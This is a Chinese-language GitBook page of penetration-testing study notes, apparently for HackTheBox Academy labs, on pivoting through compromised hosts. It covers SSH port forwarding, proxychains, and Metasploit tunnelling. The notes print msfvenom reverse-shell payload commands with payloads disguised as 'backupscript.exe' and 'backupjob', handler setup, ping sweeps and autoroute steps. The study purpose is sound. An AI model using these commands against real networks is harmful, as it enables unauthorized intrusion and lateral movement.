🔬
JTZ
  • 启航
    • 💻介绍
    • 🔧路径以及总结
    • 🏆日记
      • 😀2022-12-26
      • 😀2022-11-13
      • 😀2022-11-4
  • 网络&系统
    • 🔧端口&协议
      • NFS 介绍
      • Kerberos 介绍
      • WINRM 介绍
      • Telnet 协议
      • CDN 介绍
      • ICMP 介绍
      • DNS
      • RDP
      • SNMP
      • FTP
      • SMB
      • WMI
      • SSH
    • 🔧计算机网络
      • 计算机网络
        • 什么是网络
          • 什么是网络
          • 什么是交换机
          • 什么是路由器
          • 什么是防火墙
        • Model
          • 什么是TCP/IP模型?什么是OSI模型?
        • IP
          • IP地址
      • 资源
        • Postman
        • 思科模拟器 8.2
        • Cisco Packet Tracer
        • 视频
        • WireShark
      • 协议
        • MAC
        • DHCP
        • 端口转发
        • ARP
        • ICMP
      • 第一章--概述
      • 第二章--物理层
      • 第三章--数据链路层
      • 第四章--网络层
      • 第五章--传输层
      • 第六章--应用层
    • 🔧操作系统
    • 🔧Windows
      • 工具
        • WSL 安装 kail
          • Windows 端口转发 WSL 流量
          • 使用远程桌面连接 kali
        • VMware
        • WizTree
        • Beyond Compare 4
        • 画图软件
        • 记笔记软件
          • Typora 插件
          • Typora 图床
        • 文本编辑器
        • 视频播放器
        • VPN
        • 录屏工具
        • Wise Disk Cleaner
        • WinHex
        • Custom Cursor
        • RAMMap
        • Snipaste
        • PowerTotys
        • 浏览器
          • 浏览器插件
      • Windows
    • 🔧Linux
      • 杂类
        • linux中mnt,media以及dev目录的区别
        • 如何在 SSH 身份验证后运行脚本
        • 探索 Reverse SHELL
        • 恢复文件
        • PID 介绍
        • sudo配置文件/etc/sudoers
        • 定时任务
      • 权限
        • Linux 访问控制列表 (ACL) 简介
      • 目录
        • /mnt
        • /media
        • /etc
        • /usr
        • /proc
      • 工具推荐
        • linux下使用clash(GUI)
        • 终端模拟程序
      • Linux命令
        • 查看文件信息
        • 磁盘信息
      • Linux
  • 工具
    • 🔧端口&服务
      • 22 -- SSH
        • ssh-audit
      • 25/465/587 -- SMTP/s
        • SMTP 命令
        • sendEmail
        • swaks
      • 53 -- DNS
      • 80/443 -- WEB 服务
        • CURL
        • CMS
          • droopescan
          • JoomlaScan
          • WPScan
        • 扫描工具
          • feroxbuster
          • WFUZZ
          • gobuster
          • FFUF
      • 88 tcp/udp -- Kerberos
      • 139/445 -- SMB
        • enum4linux-ng
        • smbClient
        • smbmap
        • rpcclient
      • 873--Rsync
        • Rsync
      • 2049-TCP/UDP-NFS
        • NFS no_root_squash/no_all_squash 错误配置
      • 5985/5986 -- WINRM
        • evil-winrm
        • 内网移动
      • 云服务
        • AWS
    • 端口扫描
      • masscan
      • nmap
        • 研究
        • nmap-common
        • ndiff
        • nping
    • SHELL
      • Windows 交互 SHELL
      • pwncat-cs
      • Netcat
      • MSF
      • Socat
    • 脚本工具包
      • 🔧Impacket
        • Hunting for Impacket
    • 📖字典
      • CEWL
    • 自动化扫描工具
      • nikto
      • SQLMAP
    • 密码&解密&爆破
      • 识别 Hash
        • hash-identifier
        • hashid
      • 破解 Hash
        • John
        • Hashcat
        • Hydra
      • DomainPasswordSpray
    • 渗透框架工具
      • Searchsploit
      • Metasploit
        • Msfvenom
    • 文件
      • Imagemagick
      • Exiftool
    • 开发工具
      • Git
    • 浏览器
      • 浏览器密码&历史等信息
    • crackmapexec
    • OPENSSL
      • Heartbleed
    • 文件隐写术
      • binwalk
      • Exiftool
      • Steghide
    • 频谱分析
  • 🛸权限提升
    • 🔧Active Directory
      • 🦯AD 枚举和攻击 -- 工具
        • BloodHound
        • Kerbrute
    • 🔧Windows
      • 🦯Windows 权限提升工具
    • 🔧Linux
      • 提权
        • Linux 提权思路
        • Linux 提权备忘录
      • 资料
        • Linux 权限: SUID, SGID, sticky
      • 🦯Linux 提权工具
        • 📱Pspy
  • 🕶️HTB 学院
    • SHELLS&Payloads
    • 文件传输
    • 足迹
    • Pivoting &隧道和端口转发
    • 密码攻击
  • 🖥️WEB 渗透测试
    • 命令注入(RCE)
      • 🚚资源
    • 身份验证
    • 信息泄露
      • 信息泄露工具
    • XXE
      • 资源
      • XML 介绍
    • XSS
      • 资源
    • IDOR
    • CORS
      • 资源
    • IDOR
    • SSRF
      • 资源
    • Page 1
    • 目录遍历
    • 访问控制
    • 文件上传
      • 资源
      • WAF 绕过
    • 点击劫持
    • CSRF
      • 资源
        • 同源策略
    • SSTI
      • 资源
    • WebSocket
    • 逻辑缺陷
    • 反序列化
    • 文件包含
      • /proc/self/envirom
    • 文件隐写术
  • 🔧编程语言
    • 编程工具
      • Vs-Code
      • Jetbrains
      • Navicat Premium 15
    • C/C++
      • Linux C 一站式编程学习
    • Java
      • 资源
        • JDK
        • 画类图软件
    • Python
      • 资源
        • Python 环境
        • Python 虚拟环境
    • SHELL 教程
      • SHELL 教程
      • 高级Bash脚本编程指南
      • 1.1 变量
      • 1.2 特殊字符
      • 1.3 正则表达式
      • 1.4 数组
      • 1.5 字符串
      • 1.6 函数
      • 1.7 循环判断
      • 扩展
        • 执行命令
        • 子 SHELL
  • 🔧云开发
    • 🔧Docker
      • 🔧Docker
  • 🔧信息收集
    • 网站内容
    • OSINT
    • 侦查
      • Shodan.io
      • google 语法
    • 子域枚举
      • dig
  • 🔧逆向
    • 工具
      • GDB
        • PEDA
      • ghidra
  • 🔧杂章
    • 杂章
      • 区域传输
      • XFF&Referer
      • VHOST
      • ASN
      • Shadow Defender
      • WinHex
由 GitBook 提供支持
在本页
  • 一、介绍
  • 1. 简介
  • 二、Choosing The Dig Site & Starting Our Tunnels
  • 1. 使用 SSH 和 SOCKS 隧道的动态端口转发
  • 2. 使用 SSH 进行远程/反向端口转发
  • 3. Meterpreter 隧道和端口转发

这有帮助吗?

在GitHub上编辑
  1. HTB 学院

Pivoting &隧道和端口转发

上一页足迹下一页密码攻击

最后更新于2年前

这有帮助吗?

一、介绍

1. 简介

在红队参与、渗透测试或 Active Directory 评估期间,我们经常会发现自己可能已经泄露了所需的凭据、ssh 密钥、哈希或访问令牌以移动到另一台主机,但可能有 不能从我们的攻击主机直接访问其他主机。 在这种情况下,我们可能需要使用我们已经妥协的枢轴主机来找到通往下一个目标的方法。 首次登陆主机时要做的最重要的事情之一是检查我们的权限级别、网络连接和潜在的 VPN 或其他远程访问软件。 如果一台主机有多个网络适配器,我们很可能会使用它来移动到不同的网段。 Pivoting 本质上是通过受感染的主机移动到其他网络以在不同网段上找到更多目标的想法。

Pivoting 的主要用途是打破分段(物理和虚拟)以访问隔离网络。另一方面,隧道是 Pivoting 的一个子集。隧道将网络流量封装到另一个协议中并通过它路由流量。

二、Choosing The Dig Site & Starting Our Tunnels

1. 使用 SSH 和 SOCKS 隧道的动态端口转发

端口转发是一种允许我们将通信请求从一个端口重定向到另一个端口的技术。端口转发使用 TCP 作为主要通信层,为转发的端口提供交互式通信。但是,可以使用SSH甚至 SOCKS(非应用层)等不同的应用层协议来封装转发的流量。这可以有效绕过防火墙并使用受感染主机上的现有服务转向其他网络

1. SSH 本地端口转发

  1. 执行本地端口转发

    # 攻击机执行, 作用是告诉 SSH 客户端请求 SSH 服务器将我们通过端口 1234 发送的所有数据转发到 Ubuntu 服务器上的 localhost:3306
    ssh -L 1234:localhost:3306 Ubuntu@10.129.202.64
    # 使用 Netstat 确认端口转发
    netstat -antp | grep 1234
    # 使用 Nmap 确认端口转发
    nmap -v -sV -p1234 localhost
  2. 设置枢纽: 经过发现 Ubuntu 服务器有多个网卡: 10.129.202.64/172.16.5.129

    现在我们需要知道在 172.16.5.0/23 范围上的主机,所以我们需要通过 Ubuntu 服务器转发我们的数据包,因此我们可以在本地启动一个 SOCKS 侦听器来完成次操作,然后配置 SSH 以在连接到目标主机后通过 SSH 将流量转发到 172.16.5.0/23

    # 攻击主机: 启用 SSH 动态端口转发,
    ssh -D 9050 ubuntu@10.129.202.64
    
    # 配置 proxychains
    tail -4 /etc/proxychains.conf
    	socks4 	127.0.0.1 9050
    
    # 使用 proxychains, 配合 nmap 的使用
    proxychains nmap -v -sn 172.16.5.1-200

2. 使用 SSH 进行远程/反向端口转发

SSH 可以侦听我们本地主机并将远程主机的服务转发到我们的端口以及动态端口转发,我们也可以通过枢轴主机将数据报发送到远程网络,但有时我们可能也希望将本地服务转发到远程端口

# 使用 msfvenom 为 Windows A 创建 Windows 负载,并传送到枢轴主机
msfvenom -p windows/x64/meterpreter/reverse_https lhost= <InteralIPofPivotHost> -f exe -o backupscript.exe LPORT=8080

# 开启 MSF 监听
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
msf6 exploit(multi/handler) > set lhost 0.0.0.0
msf6 exploit(multi/handler) > set lport 8000

# 在枢轴主机启动方法将 backupscript.exe 传送到 Windows A  主机,并执行
# 在攻击主机执行
ssh -R 172.15.5.19:8080:0.0.0.0:8000 ubuntu@10.129.15.50 -vN

最后结果实现图:

3. Meterpreter 隧道和端口转发

现在让我们考虑这样一个场景,我们在 Ubuntu 服务器(枢轴主机)上有我们的 Meterpreter shell 访问权限,我们想通过枢轴主机执行枚举扫描,但我们想利用 Meterpreter 会话给我们带来的便利 . 在这种情况下,我们仍然可以在不依赖 SSH 端口转发的情况下使用 Meterpreter 会话创建一个数据透视表。 我们可以使用以下命令为 Ubuntu 服务器创建一个 Meterpreter shell,它将在我们的攻击主机上的端口 8080 上返回一个 shell。

# 为 Ubuntu 主机创建有效负载,并传输到 Ubuntu 服务器上执行
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.18 -f elf -o backupjob LPORT=8080

# 配置有效负载
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set lhost 0.0.0.0
msf6 exploit(multi/handler) > set lport 8080
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp

# 建立 SHELL 会话后
# 使用 MSF 执行 ping 扫描
meterpreter > run post/multi/gather/ping_sweep RHOSTS=172.16.5.0/23
# Linux 的 Ping 扫描
for i in {1..254} ;do (ping -c 1 172.16.5.$i | grep "bytes from" &) ;done
# 使用 CMD 的扫描
for /L %i in (1 1 254) do ping 172.16.5.%i -n 1 -w 100 | find "Reply"
# 使用 Powershell 的 ping 扫描
1..254 | % {"172.16.5.$($_): $(Test-Connection -count 1 -comp 172.15.5.$($_) -quiet)"}


# 配置 MSF 的 SOCKS 代理, 并配置 proxychains 配置文件
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set SRVPORT 9050
msf6 auxiliary(server/socks_proxy) > set SRVHOST 0.0.0.0
msf6 auxiliary(server/socks_proxy) > set version 4a

# 最后,我们需要告诉我们的 socks_proxy 模块通过我们的 Meterpreter 会话路由所有流量。 我们可以使用 Metasploit 的 post/multi/manage/autoroute 模块为 172.16.5.0 子网添加路由,然后路由我们所有的代理链流量。
# 第一种: 使用 AUtoRoute 创建路线
msf6 > use post/multi/manage/autoroute
msf6 post(multi/manage/autoroute) > set SESSION 1
msf6 post(multi/manage/autoroute) > set SUBNET 172.16.5.0
# 第二种: 通过从 Meterpreter 会话运行 autoroute 来添加带有 autoroute 的路由
meterpreter > run autoroute -s 172.16.5.0/23

# 列出活动路由
meterpreter > run autoroute -p
🕶️